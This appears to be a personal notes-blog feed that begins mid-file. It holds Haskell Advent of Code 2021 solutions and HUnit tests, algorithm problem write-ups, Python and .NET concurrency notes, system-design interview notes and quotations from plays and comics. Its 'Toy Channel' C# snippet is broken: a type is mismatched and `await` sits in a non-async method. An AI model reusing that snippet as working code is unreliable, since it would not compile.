 putStr "\tPart 2: Number of 3-measurements larger than previous 3-measurement: "
 print (SonarSweep.num3MeasurementIncreases (lines (fromString s)))
 )

solution02 :: IO ()
solution02 = do
 fp <- getDataFileName "src/Dive/scratchpad/input.txt"
 putStrLn "Day 02. Dive!"
 withFile
 fp
 ReadMode
 ( \h -> do
 s <- hGetContents h
 putStr "\tPart 1: Product of final horizontal position and final depth: "
 print (productOfFinalPosition (lines (fromString s)))
 putStr "\tPart 2: Product of final horizontal position and final depth "
 putStr "with new instructions of : "
 print (productOfFinalPositionWithNewIntepretation (lines (fromString s)))
 )

solution03 :: IO ()
solution03 = do
 putStrLn "Day 03. Binary Diagnostic"
 putStr "\tPart 1: Power Consumption: "
 input <- parseBinaryDiagnosticInput "src/BinaryDiagnostic/scratchpad/input.txt"
 print (powerConsumption input)
 putStr "\tPart 2: Life Support Rating: "
 print (lifeSupportRating input)

solution04 :: IO ()
solution04 = do
 putStrLn "Day 04. Giant Squid"
 input <- parseBingoInput "src/scratchpad/04-giant-squid.input.txt"

 putStr "\tPart 1: Score of first winning board: "
 print (GiantSquid.scoreOfFirstWinningBoard input)

 putStr "\tPart 2: Score of last winning board: "
 print (GiantSquid.scoreOfLastWinningBoard input)

solution05 :: IO ()
solution05 = do
 putStrLn "Day 05. Hydrothermal Venture"
 input <- parseHydrothermalVents "src/HydrothermalVenture/scratchpad/input.txt"

 putStr "\tPart 1: Num Points Where >= 2 Right Lines Overlap: "
 print (pointsWithAtLeastTwoRightSegmentOverlaps input)

 putStr "\tPart 2: Num Points Where >= 2 Lines Overlap: "
 print (pointsWithAtLeastTwoSegmentOverlaps input)

solution06 :: IO ()
solution06 = do
 putStrLn "Day 06. Lanternfish"
 input <- parseLanternfishInternalTimers "src/scratchpad/06-lanternfish.input.txt"

 putStr "\tPart 1: Number of lanternfish after 80 days: (360610) "
 print (AoC2021.Lanternfish.numOfFishIn80Days input)

 putStr "\tPart 2: Number of lanternfish after 256 days: (1631629590423) "
 print (AoC2021.Lanternfish.numOfFishIn256Days input)

solution07 :: IO ()
solution07 = do
 putStrLn "Day 07. The Treachery of Whales"
 input <- parseHorizontalCrabPositions "src/scratchpad/07-treachery-of-whales.input.txt"

 putStr "\tPart 1: Min fuel needed to align horizontal positions: (329389) "
 print (TreacheryOfWhales.minFuelForAlignmentWithConstantBurnRate input)

 putStr "\tPart 2: Min fuel needed to align with increasing burn rate: "
 print (TreacheryOfWhales.minFuelForAlignmentWithIncreasingBurnRate input)

printCheckedSolution :: (Eq a, Show a) => a -> a -> IO ()
printCheckedSolution actual expected = do
 let actualStr = show actual
 let mark | actual == expected = "✅"
 | otherwise = "❌ (expected " ++ show expected ++ ")"
 printf "%s %s\n" actualStr mark

solution08 :: IO ()
solution08 = do
 putStrLn "Day 08. Seven Segment Search"
 input <- parseSevenSegmentsDisplay "src/scratchpad/08-seven-segment-search.input.txt"

 putStr "\tPart 1: Number of times the digits 1, 4, 7, or 8 appear in output: "
 printCheckedSolution (SevenSegmentSearch.numOf1478AppearancesInOutput input) 330

 putStr "\tPart 2: Sum of output values: "
 printCheckedSolution (SevenSegmentSearch.sumOfOutputValues input) 1010472

solution09 :: IO ()
solution09 = do
 putStrLn "Day 09. Smoke Basin"
 input <- parseHeightMap "src/scratchpad/09-smoke-basin.input.txt"

 putStr "\tPart 1: Sum of the risk levels of all low points on heightmap: "
 printCheckedSolution (SmokeBasin.sumOfRiskLevelsOfLowPoints input) 417

 putStr "\tPart 2: Product of the 3 largest basins: "
 printCheckedSolution (SmokeBasin.productOf3LargestBasins input) 1148965

AoC 2021 Test Code

Mon, 11 Apr 2022 00:00:00 +0000

module Main (main) where

import AoC2021InputParser
 (
 parseBinaryDiagnosticInput,
 parseBingoInput,
 parseHydrothermalVents,
 parseLanternfishInternalTimers,
 parseHorizontalCrabPositions,
 parseSevenSegmentsDisplay,
 parseHeightMap
 )
import BinaryDiagnostic.BinaryDiagnostic (lifeSupportRating, powerConsumption)
import Data.String (IsString (fromString))
import Dive.Dive (productOfFinalPosition, productOfFinalPositionWithNewIntepretation)
import GiantSquid (scoreOfFirstWinningBoard, scoreOfLastWinningBoard)
import HydrothermalVenture.HydrothermalVenture
 ( pointsWithAtLeastTwoRightSegmentOverlaps,
 pointsWithAtLeastTwoSegmentOverlaps,
 )
import qualified AoC2021.Lanternfish (numOfFishIn80Days, numOfFishIn256Days)
import qualified AoC2021.TreacheryOfWhales as TreacheryOfWhales
 (
 minFuelForAlignmentWithConstantBurnRate,
 minFuelForAlignmentWithIncreasingBurnRate
 )
import qualified AoC2021.SevenSegmentSearch as SevenSegmentSearch
 (numOf1478AppearancesInOutput, sumOfOutputValues)
import qualified AoC2021.SmokeBasin as SmokeBasin
 ( sumOfRiskLevelsOfLowPoints,
 productOf3LargestBasins
 )
import Paths_advent_of_code_y2021 (getDataFileName)
import SonarSweep ( num3MeasurementIncreases, numIncreases )
import System.IO (IOMode (ReadMode), hGetContents, withFile)
import Test.HUnit (Counts(..), Test (TestCase, TestLabel, TestList), assertEqual, runTestTT)
import AoC2021Args (Args(..), aocArgParser)
import Options.Applicative

testSonarSweep :: Test
testSonarSweep =
 TestCase
 ( do
 fp <- getDataFileName "src/scratchpad/01-sonar-sweep.sample.txt"
 withFile
 fp
 ReadMode
 ( \h -> do
 s <- hGetContents h
 let ls = lines (fromString s)
 assertEqual "numIncreases," 7 (SonarSweep.numIncreases ls)
 assertEqual "numIncreases," 5 (SonarSweep.num3MeasurementIncreases ls)
 )
 )

test01 :: Test
test01 = TestLabel "Day 01: Sonar Sweep" testSonarSweep

testDive :: Test
testDive =
 TestCase
 ( do
 fp <- getDataFileName "src/Dive/scratchpad/sample.txt"
 withFile
 fp
 ReadMode
 ( \h -> do
 s <- hGetContents h
 let ls = lines (fromString s)
 assertEqual "Stale Interpretation," 150 (productOfFinalPosition ls)
 assertEqual
 "Correct Interpretation,"
 900
 (productOfFinalPositionWithNewIntepretation ls)
 )
 )

test02 :: Test
test02 = TestLabel "Day 02: Dive!" testDive

testBinaryDiagnostic :: Test
testBinaryDiagnostic =
 TestCase
 ( do
 input <- parseBinaryDiagnosticInput "src/BinaryDiagnostic/scratchpad/sample.txt"
 assertEqual "Power Consumption," 198 (powerConsumption input)
 assertEqual "Life Support Rating," 230 (lifeSupportRating input)
 )

test03 :: Test
test03 = TestLabel "Day 03: Binary Diagnostic" testBinaryDiagnostic

testGiantSquid :: Test
testGiantSquid =
 TestCase
 ( do
 input <- parseBingoInput "src/scratchpad/04-giant-squid.sample.txt"
 assertEqual
 "Score of First Winning Board,"
 4512
 (scoreOfFirstWinningBoard input)
 assertEqual
 "Score of Last Winning Board,"
 1924
 (scoreOfLastWinningBoard input)
 )

test04 :: Test
test04 = TestLabel "Day 04: Giant Squid" testGiantSquid

testHydrothermalVenture :: Test
testHydrothermalVenture =
 TestCase
 ( do
 input <- parseHydrothermalVents "src/HydrothermalVenture/scratchpad/sample.txt"
 assertEqual
 "Num Points w/ >= 2 Right Segments Overlapping,"
 5
 (pointsWithAtLeastTwoRightSegmentOverlaps input)
 assertEqual
 "Num Points w/ >= 2 Segments Overlapping,"
 12
 (pointsWithAtLeastTwoSegmentOverlaps input)
 )

test05 :: Test
test05 = TestLabel "Day 05: Hydrothermal Venture" testHydrothermalVenture

testLanternfish :: Test
testLanternfish =
 TestCase
 ( do
 input <- parseLanternfishInternalTimers "src/scratchpad/06-lanternfish.sample.txt"
 assertEqual
 "Num of lantern fish in 80 days,"
 5934
 (AoC2021.Lanternfish.numOfFishIn80Days input)
 assertEqual
 "Num of lantern fish in 256 days,"
 26984457539
 (AoC2021.Lanternfish.numOfFishIn256Days input)
 )

test06 :: Test
test06 = TestLabel "Day 06: Lanternfish" testLanternfish

testTreacheryOfWhales :: Test
testTreacheryOfWhales =
 TestCase
 ( do
 input <- parseHorizontalCrabPositions "src/scratchpad/07-treachery-of-whales.sample.txt"
 assertEqual
 "Min fuel needed to align horizontal positions "
 37
 (TreacheryOfWhales.minFuelForAlignmentWithConstantBurnRate input)
 assertEqual
 "Min fuel needed to align horizontal postions under increasing burn rate "
 168
 (TreacheryOfWhales.minFuelForAlignmentWithIncreasingBurnRate input)
 )

test07 :: Test
test07 = TestLabel "Day 07: The Treachery Of Whales" testTreacheryOfWhales

testSevenSegmentSearch :: Test
testSevenSegmentSearch =
 TestCase
 ( do
 input <- parseSevenSegmentsDisplay "src/scratchpad/08-seven-segment-search.sample.txt"
 assertEqual
 "Num times 1, 4, 7, or 8 appears in output values "
 26
 (SevenSegmentSearch.numOf1478AppearancesInOutput input)

 assertEqual
 "Sum of output values "
 61229
 (SevenSegmentSearch.sumOfOutputValues input)
 )

test08 :: Test
test08 = TestLabel "Day 08: Seven Segment Search" testSevenSegmentSearch

testSmokeBasin :: Test
testSmokeBasin =
 TestCase
 ( do
 input <- parseHeightMap "src/scratchpad/09-smoke-basin.sample.txt"
 assertEqual
 "Sum of the risk levels of all low points on heightmap "
 15
 (SmokeBasin.sumOfRiskLevelsOfLowPoints input)
 assertEqual
 "Product of the 3 largest basins "
 1134
 (SmokeBasin.productOf3LargestBasins input)
 )

test09 :: Test
test09 = TestLabel "Day 09: Smoke Basin" testSmokeBasin

tests :: Test
tests =
 TestList
 [ test01, test02, test03, test04, test05, test06, test07, test08, test09 ]

runTest :: Int -> IO Counts
runTest 0 = do runTestTT tests
runTest 1 = do runTestTT test01
runTest 2 = do runTestTT test02
runTest 3 = do runTestTT test03
runTest 4 = do runTestTT test04
runTest 5 = do runTestTT test05
runTest 6 = do runTestTT test06
runTest 7 = do runTestTT test07
runTest 8 = do runTestTT test08
runTest 9 = do runTestTT test09
runTest x = do
 putStrLn ("Day " ++ show x ++ " has no associated test.")
 return (Counts 0 0 0 0)

runAoCSolutions :: Args -> IO Counts
runAoCSolutions (Args d) = runTest d

main :: IO Counts
main = runAoCSolutions =<< execParser opts
 where
 opts = info (aocArgParser <**> helper)
 ( fullDesc
 <> progDesc "Run tests for a given DAY of AoC 2021"
 <> header "A module for running tests for AoC 2021")

AoC 2021 Parsing Arguments

Mon, 11 Apr 2022 00:00:00 +0000

Parsing the Command Line

lists a couple of libraries. and are the most popular options. Going with as it’s slightly more popular.

{-# OPTIONS_GHC -Wall #-}

module AoC2021Args (Args(..), aocArgParser) where

import Options.Applicative
import Data.Semigroup ((<>))

data Args = Args
 { day :: Int }

aocArgParser :: Parser Args
aocArgParser = Args
 <$> option auto
 ( long "day"
 <> help "The day to run code for. Use '0' to run all of the solutions."
 <> showDefault
 <> value 0
 <> metavar "DAY") -- The metavariable is displayed in the help text.

A type a is a Semigroup if it provides an associative function (<>) that lets you combine any two values of type a into one, and the following holds:

Myths and Fallacies of 'Personally Identifiable Information'

Tue, 01 Jun 2010 00:00:00 +0000

Myths and Fallacies of 'Personally Identifiable Information'. Narayanan, Arvind; Shmatikov, Vitaly. dl.acm.org . Jun 1, 2010.

What is PII?

From Breach Notification Laws:

For example, California Senate Bill 1386: SSNs, driver’s license numbers, financial accounts.

The list can never be exhaustive, e.g. email addresses and telephone numbers are not mentioned in Bill 1386.

Focuses on data that are commonly used for authenticating an individual. Ignores data that reveals some sensitive information about an individual

218. To-Do List Pt. I

Sun, 03 Nov 2019 00:00:00 +0000

Description

Create a todo list with the following features: addItem, deleteItem and viewList. /r/dailyprogrammer post

380. Smooshed Morse Code

Sun, 22 Sep 2019 00:00:00 +0000

Description

Covert a string, e.g. programmer into Morse code, e.g. .--..-.-----..-..-----..-. /r/dailyprogrammer thread

Solution

"""
_380_smooshed_morse_code.py

Solve https://www.reddit.com/r/dailyprogrammer/comments/cmd1hb/20190805_challenge_380_easy_smooshed_morse_code_1/

"""

from typing import List, Iterable
from collections import defaultdict
import os

"""A mapping of `[a...z]` to Morse code."""
ALPHA_TO_MORSE = {
 "a": ".-", "b": "-...", "c": "-.-.", "d": "-..", "e": ".", 
 "f": "..-.", "g": "--.", "h": "....", "i": "..", "j": ".---", 
 "k": "-.-", "l": ".-..", "m": "--", "n": "-.", "o": "---", 
 "p": ".--.", "q": "--.-", "r": ".-.", "s": "...", "t": "-", 
 "u": "..-", "v": "...-", "w": ".--", "x": "-..-", "y": "-.--", 
 "z": "--.."
}

def smorse(alpha_text: str) -> str:
 """
 Args:
 alpha_text: The string whose characters are in `[a...z]`

 Returns:
 The smooshed morse code representation of `alpha_text`

 Raises:
 ValueError if any character in `alpha_text` is not in `[a...z]`
 """
 smooshed_morse_text = [None] * len(alpha_text)
 for idx, c in enumerate(alpha_text):
 if c not in ALPHA_TO_MORSE:
 raise ValueError(
 f"{c} is not a character in a...z (case-sensitive)"
 )
 smooshed_morse_text[idx] = ALPHA_TO_MORSE[c]
 return "".join(smooshed_morse_text)

def main():
 assert smorse("sos") == "...---..."
 assert smorse("daily") == "-...-...-..-.--"
 assert smorse("programmer") == ".--..-.-----..-..-----..-."
 assert smorse("bits") == "-.....-..."
 assert smorse("three") == "-.....-..."
 
if __name__ == "__main__":
 main()

Bonus Challenges

Bonus Challenge #1

The sequence -...-....-.--. is the code for four different words (needing, nervate, niding, tiling). Find the only sequence that’s the code for 13 different words.

Passing Data Asynchronously Between Producers and Consumers (.NET)

Sat, 01 Aug 2026 00:00:00 +0000

A channel is a data structure that’s used to store produced data for a consumer to retrieve, and an appropriate synchronization to enable that to happen safely, while also enabling appropriate notifications in both directions.

A Toy Channel

public sealed class Channel<T> {
 // Use a thread-safe data store to free us from locking semantics for any
 // number of producers and consumers.
 private readonly ConcurrentQueue<T> _items = new ConcurrentQueue<T>();

 // A mechanism for coordinating between producers and consumers.
 private readonly SemaphoreSlim _semaphore = new Semaphore(0);

 public void Write(T item)
 {
 _items.Enqueue(item); // Store the data.
 _semaphore.Release(); // Notify any consumers that more data is available.
 }

 public ValueTask<T> ReadAsync(CancellationToken ct = default)
 {
 await _semaphore.WaitAsync(ct).ConfigureAwait(false); // Wait for data to be available.
 bool gotOne = _items.TryDequeue(out T item);
 Debug.Assert(gotOne);
 return item;
 }
}

Distributed Systems Potpourri

Tue, 21 Jul 2026 00:00:00 +0000

Contains content that is not extensive enough for its own page.

Streams and Event Sourcing

Unlike message queues , streams can retain data for a configurable period of time, allowing consumers to read and re-read messages from a specified time. You can use a stream to ingest high volumes of events in real-time, e.g., real-time analytics of user engagements in social media.

Event sourcing involves storing changes in application state as a sequence of events. These events can be replayed to reconstruct the system’s state at any point in time. The technique is useful for systems that require a detailed audit trail, e.g., a banking system, where every transaction (deposits, withdrawals, transfers) need to be recorded and may affect multiple accounts.

Blob Storage

Tue, 14 Jul 2026 00:00:00 +0000

Blob Storage

Unstructured blobs of data include images, videos, and other files. Typically, these are stored in blob storage, and the core database stores metadata, e.g., blob URL.

Common setup for large binary artifacts. Credits: Hello Interview.

Blob storage solutions like S3 can be considered infinitely scalable within your account limits. They are also cost effective, e.g., AWS S3 charges $0.023 per GB per month for the first 50TB, compared to AWS DynamoDB that charges $1.25 per GB per month for the first 10TB of storage.

System Design Practice: Metrics Monitoring System

Wed, 08 Jul 2026 00:00:00 +0000

Functional Requirements

FR1: Platform can ingest metrics (CPU, memory, latency, custom counters) from services.
FR2: Users can query and visualize metrics on dashboards with filters, aggregations, and time ranges.
FR3: Users can define alert rules with thresholds over time windows, e.g., “alert if P99 latency > 500ms for 5min”.
FR4: Users can receive notifications when alerts fire, e.g., email, Slack.

Scale: 500K servers, 5M metrics per second, ~1GB/s raw ingestion.

High Performance Networking in Chrome

Sat, 04 Jul 2026 00:00:00 +0000

Performance in Context

The execution of a web browser primarily involves three tasks: fetching resources, page layout and rendering, and JavaScript execution. That said, optimizing the last two tasks won’t do much good if the browser is blocked on the network, waiting for resources to arrive.

Of the top 100K, the median page on desktop requests 97 resources weighing 2,954KB in total, and makes 16 TCP connections . While the underlying transport (TCP) is optimized for large, streaming downloads, most network transfers in the browser are short and bursty.

Uri Tupka and the Gods

Thu, 02 Jul 2026 00:00:00 +0000

BISHOP 1. Your damned letter to the Emperor –
URI TUPKA. How could I not? When he commissioned a giant goat statue – a hundred feet tall and solid gold…?
BISHOP 1. And didn’t we warn you what would happpen? Didn’t we all warn you?
It was only to remind him. Scripture. Theodipus 6:19 – “And all men shall be equal to each other under the eyes of the gods, even as all the gods, like leaves of grass, shall be equal to each other.

AsyncIO in Python

Sun, 07 Jun 2026 00:00:00 +0000

Only covers the high level building blocks of asyncio. has a second section on how asyncio and await internally work.

The Event Loop

The event loop contains a collection of jobs to be run. Some jobs are added by application code, and others indirectly by asyncio. The event loop takes a job from its backlog and invokes it (“gives it control”). Once that job pauses or completes, it returns control to the event loop which then selects another job from the backlog and invokes it. When there are no jobs to be done, the event loop rests (doesn’t waster CPU cycles) and comes back when more jobs are enqueued.

API Design

Sat, 06 Jun 2026 00:00:00 +0000

Notes

For 90% of interviews, default to REST, which maps resources to URLs and uses HTTP methods to manipulate them, e.g., POST /events/{id}/bookings for creating a booking.

When returning large result sets, pagination comes into play. Cursor-based pagination works better for real-time data where new items get added frequently. Offset-based pagination is fine for most cases.

How does cursor-based pagination beat offset-based pagination for new additions? Aren’t new additions invisible to inflight paginations?

Caching

Sat, 06 Jun 2026 00:00:00 +0000

Notes

For read-heavy applications, storing frequently accessed data in fast memory (e.g., Redis) allows you to skip the DB entirely for some reads. A cache hit on Redis takes ~1ms compared to 20-50ms for a typical DB query, and this speedup is impactful in the order of millions of requests. In a web application, user sessions are typically stored in a distributed cache, allowing the system to quickly retrieve the data when a user makes a request.

CAP Theorem

Sat, 06 Jun 2026 00:00:00 +0000

Notes

The CAP theorem states that you can only have 2 of 3 properties at once:

Consistency: All nodes see the same data.
Availability: Every request gets a response.
Partition Tolerance: System works even when network connections fail between nodes.

In practice, network partitions are unavoidable in distributed system. Choosing consistency means some nodes will refuse to serve requests rather than return potentially stale data. Choosing availability means different nodes might temporarily have different data.

Data Modeling

Sat, 06 Jun 2026 00:00:00 +0000

Data Modeling

Choosing what data to store and how to structure it directly affects performance, scalability, and maintenance.

Relational databases are useful when you have structured data with clear relationships and need strong consistency (transaction-based actions, enforcing foreign key constraints). NoSQL databases shine for flexible schemas or when you need to scale horizontally across many servers without complex joins.

That said, the overlap between relational DBs and NoSQL ones is substantial, so focus on the DB that your using and how it helps solve the problem at hand, e.g., NoSQL DBs can express relationships too, SQL DBs can have JSON columns with flexible schemas, etc.

Distributing Work

Sat, 06 Jun 2026 00:00:00 +0000

Sharding

Sharding comes up when a single database won’t work (e.g., hit storage limits, write throughput limits, or read throughput limits) and you need to split your data across multiple independent servers.

For a user-centric social media app, sharding by user_id means all of a user’s posts, likes, and comments live on one shard. User-scoped queries are fast, but “trending posts across all users” become expensive because of hitting every shard and aggregating results. Mutating transations need to account for the distributed nature of the shards, making them complex and slow.

Greedy Algorithms

Sat, 06 Jun 2026 00:00:00 +0000

Sample Problem

You are given two integer arrays:

greeds, where greeds[i] represents the minimum size of a cookie that a child needs to to be satisfied.
cookies, where cookies[j] represents the size of a cookie.

Assign cookies such that as many children as possible are satisfied. Each child can receive at most one cookie, and each cookie can be given to only one child.

A Greedy Algorithm

def num_satisfied_children(greeds: List[int], cookies: List[int]) -> int:
 greeds.sort()
 cookies.sort()

 count = 0
 g_idx, c_idx = 0, 0
 while g_idx < len(greeds) and c_idx < len(cookies):
 if cookies[c_idx] >= greeds[g_idx]:
 count += 1
 g_idx += 1

 c_idx += 1

 return count

Networking Essentials

Sat, 06 Jun 2026 00:00:00 +0000

Notes

At a basic level, understand how services talk to each other and what happens when those connections fail or get slow.

For 90% of the use cases, default to HTTP over TCP.

WebSockets and Server-Sent Events (SSE) come up when you need real-time updates. SSE is unidirectional - the client makes an initial HTTP request to open the connection, and the server pushes data down that connection. WebSockets handle bidirectional communication where both sides send messages freely.

Of [Non]Overlapping Intervals

Sat, 06 Jun 2026 00:00:00 +0000

#intervals-algorithms

Merge Overlapping Intervals

Problem Statement: Merge Overlapping Intervals

Given an integer array intervals where intervals[i] = [start_i, end_i], merge all overlapping intervals and return an array of the non-overlapping intervals. For example $[[1,3],[2,6],[8,10],[15,18]] \to [[1,6],[8,10],[15,18]]$ because $[1,3]$ and $[2,6]$ overlap and merge into $[1,6]$.

Solution: Sort by Start Time and then Linear Scan

Like Minimum Size Subarray Sum , contiguity hints at a linear scan being useful. If we sort intervals by start, then it’s a matter of starting at some intervals[i] and expanding until some intervals[j], $j > i$ is no longer overlapping.

Print Zero Even Odd

Fri, 05 Jun 2026 00:00:00 +0000

Problem

printNumber(7) prints 7 to the console. You are given an instance of the ZeroEvenOdd class with 3 functions: zero outputs 0s, even outputs even numbers, and odd outputs odd numbers. The same ZeroEvenOdd instance is passed to three different threads, where thread A calls zero(), thread B calls even(), and thread C calls odd(). Modify ZeroEvenOdd such that given n=6, it outputs 010203040506.

Solution

Use a Condition to pass the baton between zero, even, and odd. I had trouble setting up the correct loop-exit conditions. Debugging deadlocks takes some getting used to!

Print FooBar Alternately

Thu, 04 Jun 2026 00:00:00 +0000

Problem Statement

You’re given the FooBar class:

class FooBar:
 def __init__(self, n):
 self.n = n

 def foo(self, printFoo: "Callable[[], None]") -> None:
 for _ in range(self.n):
 printFoo()

 def bar(self, printBar: "Callable[[], None]") -> None:
 for _ in range(self.n):
 printBar()

… and the same instance of FooBar will be passed to two different threads. Thread A will call foo() while thread B will call bar(). Modify the program to output foobar n times.

Solution

Two `Event`s

We can use two Events to communicate whose turn it is to print.

Implementation: Two Events

from threading import Event
from typing import Callable


class FooBar:
 def __init__(self, n):
 self.n = n
 self.foos_turn = Event()
 self.bars_turn = Event()
 self.foos_turn.set()

 def foo(self, printFoo: "Callable[[], None]") -> None:
 for _ in range(self.n):
 self.foos_turn.wait()
 printFoo()
 self.foos_turn.clear()
 self.bars_turn.set()

 def bar(self, printBar: "Callable[[], None]") -> None:
 for _ in range(self.n):
 self.bars_turn.wait()
 printBar()
 self.bars_turn.clear()
 self.foos_turn.set()

But I feel like there’s a concept that I’m missing. The two-event system is primarily a system for communicating ownership, and that’s what Locks are for. However, a single Lock proved awkward to reason about.

Earliest Finish Time for Land and Water Rides

Wed, 03 Jun 2026 00:00:00 +0000

Problem Statement

There are $L$ possible land rides and $W$ possible water rides, with $1 \le L, W \le 5 \times 10^4$. A tourist must experience exactly one ride from each category, in either order. A ride may be started at its opening time or any later moment. Immediately after finishing one ride, the tourist may board the other if it’s already open or wait until it opens. Return the earliest possible time at which the tourist can finish both rides.

Thread-Based Parallelism in Python

Tue, 02 Jun 2026 00:00:00 +0000

In Chromium, why wasn’t explicit threading a thing? Data structures are usually not thread-safe. There were guardrails for scenarios like checking WeakPtrs on a different thread. However, I didn’t come out of it with a mental model for threading primitives.

Introduction

Threads are smaller units of a process that allow executing tasks in parallel, sharing memory space. Threads are particularly useful for I/O bound tasks, where much of the time is spent waiting for external resources.

Minimum Cost of Buying Candies with Discount

Mon, 01 Jun 2026 00:00:00 +0000

The customer can choose any candy to takeaway for free as long as the cost of the chosen candy is less than or equal to the minimum cost of the two candies bought. Find the minimum cost of buying all the candies.

Implementation: Sort then Traverse

def minimumCost(self, cost: List[int]) -> int:
 cost.sort(reverse=True)
 minCost = 0
 for i in range(len(cost)):
 if i % 3 != 2:
 minCost += cost[i]

 return minCost

Writing the above algorithm felt right, but I couldn’t prove why it was optimal.

Print in Order

Mon, 01 Jun 2026 00:00:00 +0000

Suppose we have a class:

public class Foo {
 public void first() { print("first"); }
 public void second() { print("second"); }
 public void third() { print("third"); }
}

… and the same instance of Foo is passed to three different threads. Thread A will call first(), thread B will call second() and thread C will call third(). Design Foo such that second() is executed after first(), and third() is executed after second().

See Thread-Based Parallelism - Python for a quick primer on Python’s synchronization primitives.

Daredevil: Cold Day in Hell

Sun, 31 May 2026 00:00:00 +0000

MATT. “All part of God’s plan.” What a beautiful phrase. Kind of covers it all. Dark. Light. Don’t get yourself bothered. It’s all God’s plan. Nothing you could have done about it in any case. I understand the attraction. It’s a nice bit of hand-waving. A catchall that pushes aside the necessity for deeper examination of responsibility.

MATT. Rage. It’s everywhere in this city. People are terrified. Of what’s happened, of what might happen. Everyone is everyone’s enemy. Anyone who needs help is weak. They can’t let themselves be weak. Not in this world. They tell themselves they’re strong. They’re just afraid.

Delivery Framework for System Design Interviews

Sun, 31 May 2026 00:00:00 +0000

Requirements (~5min)

Functional Requirements

Completions for “Users/Clients should be able to…”, e.g., for Twitter: post tweets, follow other users, and see tweets from users they follow. Keep the list targeted and prioritized (e.g., top 3) as your job is to develop a system that meets those requirements.

Non-Functional Requirements

Completions for “The system should be…”, e.g., for Twitter:

Highly available, prioritizing availability over consistency.
Scale to support 100M+ daily active users.
Low latency, rendering feeds in under 200ms.

Valid Sudoku

Fri, 29 May 2026 00:00:00 +0000

Determine if a $9 \times 9$ Sudoku board is valid. A Sudoku board has nine $3 \times 3$ sub-boxes. Validate the filled cells such that each row, column, and sub-box contain the digits $[1, …, 9]$ without repetition.

Unintuitive to me that given a char c, we need c - '0' to convert it into an int. Convert.ToInt32('4') gives us 52, not 4.

I don’t think we can do better than validating all 9 rows, 9 columns, and 9 sub-boxes. There’s no repeated work that can be optimized. At its core, this problem is about traversing the grid in different ways. There is room for improvement in how we handle each check. From the char[][] grid, we can use a HashSet<char> to check for duplicates (ignoring c == '.'). If we convert the char[][] to an int?[9,9] grid, we can use a compact BitArray to check for duplicates, or as I’ve just learned, a BitVector32 which is even more compact at 32 bits.

Is Subsequence

Thu, 28 May 2026 00:00:00 +0000

Given two lowercase strings, s and t, return true if s is a subsequence of t, or false otherwise. A subsequence of a string is a string that is formed from the original string by deleting some (can be none) of the characters while maintaining the relative positions of the remaining characters.

My solution was:

public class Solution {
 private string _s;
 private string _t;

 public bool IsSubsequence(string s, string t) {
 _s = s;
 _t = t;
 return IsReachable(0, 0);
 }

 private bool IsReachable(int si, int ti)
 {
 if (si == _s.Length)
 return true;

 char c = _s[si];
 for (int i = ti; i < _t.Length; i++)
 {
 if (_t[i] == c)
 return IsReachable(si + 1, i + 1);
 }
 return false;
 }
}

… where _s and _t avoid unnecessary string copies in the recursion tree.

Minimum Size Subarray Sum

Thu, 28 May 2026 00:00:00 +0000

Given an array of positive integers nums and a positive integer target, return the minimal length of a subarray whose sum is greater than or equal to target. Return 0 if there is no such subarray.

This reads like an $^{n}P_{k}$ permutation problem, where we’re trying to minimize $k$ under the constraint that the sum of elements is greater than target. $^{n}P_{k}$ can be implemented in a BFS manner, e.g.,

Remove Duplicates from Sorted Array

Thu, 28 May 2026 00:00:00 +0000

Given a sorted integer array, remove some duplicates in-place such that each unique element appears at most twice. Maintain the relative order of the elements. If there are $k$ elements after removing the duplicates, the first $k$ elements of the array should hold the final result.

This a two-pointer problem, where we have a tortoise and a hare. Establishing an invariant that must be maintained throughout the array is useful to avoid tripping up on index arithmetic. In this case, let tortoise be the index whose final value needs to be determined in the current iteration. [..., tortoise-1] (inclusive) is the processed range that won’t change. #two-pointer-algorithm

Rotate Array

Thu, 28 May 2026 00:00:00 +0000

Given an integer array of length $N$, rotate the array to the right by $k$ steps, where $k \ge 0$.

Rotation is periodical, e.g., rotating a 5-item array 13 times yields the same result as rotating it $ 13 \mod 5 = 3$ times. So our effective $k$ is $k \mod N$. That $k \ge 0$ saves us from worrying about how the programming language implements modulo operations .

Two Sum

Thu, 28 May 2026 00:00:00 +0000

Problem Description

Given a 1-indexed array of integers that is sorted in non-decreasing order, find two numbers such that they add up to a target number.

Solution: Linear Scan with Binary Search

#binary-search

At its core, the problem is a binary search one. Given $a$, find $b = t - a$ in the right side of array. If $a > \lfloor t / 2 \rfloor$, then there is no possible $b$ to the right because $b \ge a$ and $2a > t$.

Majority Element in Array

Wed, 27 May 2026 00:00:00 +0000

Given an array of size $N$, return the element that appears more than $\lfloor N/2 \rfloor$ times. Solve the problem in $\mathcal{O}(N)$ time and $\mathcal{O}(1)$ space.

Solving this in $\mathcal{O}(N)$ time precludes sorting as that takes $\mathcal{O}(N\ logN)$ time. Using $\mathcal{O}(1)$ space precludes having a dictionary of frequencies. What is special about a frequency that is $> \lfloor N/2 \rfloor$? What kind of arithmetic would such a value survive?

In a sorted array, a number that appears $> \lfloor N/2 \rfloor$ times is also the median. How can we compute the median of an unsorted array in $\mathcal{O}(N)$ time and $\mathcal{O}(1)$ space? Scratch that, the median is a more general problem as the frequency need not be $> \lfloor N/2 \rfloor$.

Merging Sorted Arrays

Wed, 27 May 2026 00:00:00 +0000

Merge Sorted Arrays In-Place With Buffer

You are given two integer arrays nums1 and nums2, sorted in non-decreasing order, and two integers m and n representing the number of elements in nums1 and nums2 respectively. nums1 has a length of $m + n$. Merge nums1 and nums2 into nums1 in non-decreasing order.

We don’t want to use extra $\mathcal{O}(m + n)$ space. Traversing nums1 and nums2 from left to right creates complications, e.g., given $[4, 6, 8, 0, 0, 0]$ and $[3, 4, 5]$, the intermediate $[3, 6, 8, 0, 0, 0]$ raises questions on where to stash the $4$. However, starting from $m - 1$ and $n - 1$ leads to an elegant solution where we don’t need intermediate stashes.

The New Gods (2024)

Mon, 25 May 2026 00:00:00 +0000

Conflict

MAXWELL LORD. What he failed to understand, my friend, is that it is human nature. To find things that are better than us – godly, wondrous divine things – and drag them down and pull them apart. Until there isn’t very much godly or divine about them at all.

THE CHRONICLER. Having foreseen his imminent capture and inevitable end, Parzurem had already fractured his mind into two arguments, given shape and structure by each other’s existence… moder and paeter. The moder pyxis found itself drawn by the gravitational fallout of the sundering of Urgrund, eventually falling into the orbit of Galactica, which would later come to be known as New Genesis. But the paeter pyxis drifted through an eternity, driven by Parzurem’s search for peace and ponderance, before finding its way to an infant planet in a far corner of the cosmos where it would be undisturbed for a brief age.

Everything Dead & Dying (2025)

Sun, 17 May 2026 00:00:00 +0000

